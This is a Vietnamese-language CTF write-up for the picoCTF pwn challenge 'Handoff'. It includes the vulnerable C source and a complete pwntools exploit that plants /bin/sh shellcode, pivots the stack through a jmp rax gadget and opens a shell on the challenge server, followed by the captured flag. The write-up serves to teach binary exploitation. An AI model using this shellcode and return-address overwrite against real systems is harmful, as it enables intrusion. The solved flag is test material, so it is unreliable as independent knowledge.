pwn - Handoff

November 4, 2025 September 9, 2025 Hard
Author Author Hung Nguyen Tuong

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64

typedef struct entry {
	char name[8];
	char msg[64];
} entry_t;

void print_menu() {
	puts("What option would you like to do?");
	puts("1. Add a new recipient");
	puts("2. Send a message to a recipient");
	puts("3. Exit the app");
}

int vuln() {
	char feedback[8];
	entry_t entries[10];
	int total_entries = 0;
	int choice = -1;
	// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
	while (true) {
		print_menu();
		if (scanf("%d", &choice) != 1) exit(0);
		getchar(); // Remove trailing \n

		// Add entry
		if (choice == 1) {
			choice = -1;
			// Check for max entries
			if (total_entries >= MAX_ENTRIES) {
				puts("Max recipients reached!");
				continue;
			}

			// Add a new entry
			puts("What's the new recipient's name: ");
			fflush(stdin);
			fgets(entries[total_entries].name, NAME_LEN, stdin);
			total_entries++;
			
		}
		// Add message
		else if (choice == 2) {
			choice = -1;
			puts("Which recipient would you like to send a message to?");
			if (scanf("%d", &choice) != 1) exit(0);
			getchar();

			if (choice >= total_entries) {
				puts("Invalid entry number");
				continue;
			}

			puts("What message would you like to send them?");
			fgets(entries[choice].msg, MSG_LEN, stdin);
		}
		else if (choice == 3) {
			choice = -1;
			puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
			fgets(feedback, NAME_LEN, stdin);
			feedback[7] = '\0';
			break;
		}
		else {
			choice = -1;
			puts("Invalid option");
		}
	}
}

int main() {
	setvbuf(stdout, NULL, _IONBF, 0);  // No buffering (immediate output)
	vuln();
	return 0;
}

Mitigation

image

Solve

Ta sẽ đặt breakpoint tại scanf() (nhập choice cho menu) và trước khi leave, để sau đó chúng ta test thử 3 options xem các buffer name, msg, feedback nằm tại đâu trong stack.

image

image

from pwn import *

NAME_LEN = 32
MSG_LEN  = 64

p = process('./handoff')
e = ELF('./handoff')

context.update(arch='amd64', os='linux') 

context.terminal = ['qterminal', '-e']

gdb.attach(p, gdbscript='''
    b *vuln+62
    b *vuln+483
    c
    c
    c
''')

p.sendlineafter(b'3. Exit the app\n', b'1')

p.sendlineafter(b"What's the new recipient's name: \n", b'A'*16)

p.sendlineafter(b'3. Exit the app\n', b'2')

p.sendlineafter(b'Which recipient would you like to send a message to?\n', b'0')

p.sendlineafter(b'What message would you like to send them?\n', b'B'*16)

p.sendlineafter(b'3. Exit the app\n', b'3')

p.sendlineafter(b'we would really appreciate it: ', b'C'*16)

p.interactive()

Vậy namemsg của entries[0] lần lượt nằm tại vị trí rbp-0x2e0rbp-0x2d8.

image

Còn feedback nằm tại rbp-0xc.

image

Để ý rằng thanh ghi rax cũng đang trỏ đến feedback:

image

Trong toàn bộ các buffer ta có thể nhập vào, chỉ có feedback là gần return address nhất, và có khả năng overflow để ghi đè return address. Dựa vào checksec, stack cho phép thực thi code, vậy ta có thể nghĩ đến việc nhập shellcode vào stack. Và cũng may là không có stack canary, bởi ở đây ta không có cách nào để leak ra runtime address trên stack.

Ta bị giới hạn ghi vào feedbackNAME_LEN = 32 byte nên không thể overflow để ghi một shellcode hoàn chỉnh vào return address được.

Tổng hợp lại các điều trên, ta có hướng tấn công như sau:

  1. Ghi shellcode /bin/bash vào name của entries[0].
  2. Ghi shellcode vào feedback để chuyển luồng thực thi đến name.
  3. Ghi đè return address để nhảy đến feedback.

Đầu tiên là ghi shellcode /bin/bash vào name của entries[0]. Ta sẽ sử dụng shellcode sau:

image

Ta dừng tại vuln+483, thấy rằng shellcode đang nằm tại rbp-0x2e0:

image

Thực thi tiếp 1 bước, dừng trước ret, rsprbp bây giờ trở về stack frame trước. rsp bây giờ đang trỏ vào return address.

image

Tiếp đến bước 2, ta cần nhập shellcode vào feedback để nhảy đến name. Có thể thực hiện bằng cách trừ rsp đi 0x2f0. Không phải 0x2e0 bởi vì sau leave, rsp = rbp + 0x8, và sau ret, rsp += 0x8, nghĩa là khoảng cách rspname đúng phải là 0x2e0 + 0x10 = 0x2f0.

p.sendlineafter(b'3. Exit the app\n', b'1')

sh = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

p.sendlineafter(b"What's the new recipient's name: \n", sh)

p.sendlineafter(b'3. Exit the app\n', b'3')

jmp_rsp = asm("sub rsp, 0x2e8; jmp rsp")

print(disasm(jmp_rsp))

p.sendlineafter(b'we would really appreciate it: ', jmp_rsp)

p.interactive()

image

image

Ta thấy rằng byte thứ 7 bị ghi thành 0 thay vì 0xff bởi dòng này trong mã nguồn:

feedback[7] = '\0';

image

Để khắc phục, ta chỉ cần chèn thêm 1 byte nop để byte 0 đó trùng với byte 0 trong shellcode.

jmp_rsp = asm("nop; sub rsp, 0x2e8; jmp rsp")

image

image

Bước thứ 3, ta cần ghi đè return address để nhảy đến feedback. Biết rằng rax trỏ thẳng đến feedback, ta có thể tận dụng ngay gadget jmp rax có trong binary này.

image

gdb.attach(p, gdbscript='''
    b *vuln+62
    b *vuln+483
    c
    c
''')

p.sendlineafter(b'3. Exit the app\n', b'1')

sh = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

p.sendlineafter(b"What's the new recipient's name: \n", sh)

p.sendlineafter(b'3. Exit the app\n', b'3')

jmp_rsp = asm("nop; sub rsp, 0x2e8; jmp rsp")

jmp_rax_gadget = 0x000000000040116c

payload = jmp_rsp.ljust(20, b'A') + p64(jmp_rax_gadget)

p.sendlineafter(b'we would really appreciate it: ', payload)

p.interactive()

Ta sẽ cần phải padding thêm 1 vài byte mới đến return address.

image

Bây giờ, sau ret sẽ thực thi jmp rax, lại tiếp tục nhảy đến feedback và sau đó chuyển đến name để mở shell.

Script

from pwn import *

p = remote('shape-facility.picoctf.net', 52938)
e = ELF('./handoff')

context.update(arch='amd64', os='linux') 

sh = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
jmp_rsp = asm("nop; sub rsp, 0x2f0; jmp rsp")
jmp_rax_gadget = 0x000000000040116c

p.sendlineafter(b'3. Exit the app\n', b'1')

p.sendlineafter(b"What's the new recipient's name: \n", sh)

p.sendlineafter(b'3. Exit the app\n', b'3')

payload = jmp_rsp.ljust(20, b'A') + p64(jmp_rax_gadget)

p.sendlineafter(b'we would really appreciate it: ', payload)

p.interactive()
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py 
[+] Opening connection to shape-facility.picoctf.net on port 52938: Done
[*] '/home/hungnt/Desktop/handoff'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] Switching to interactive mode

$ ls
flag.txt
handoff
start.sh
$ cat flag.txt
picoCTF{p1v0ted_ftw_5b992d80}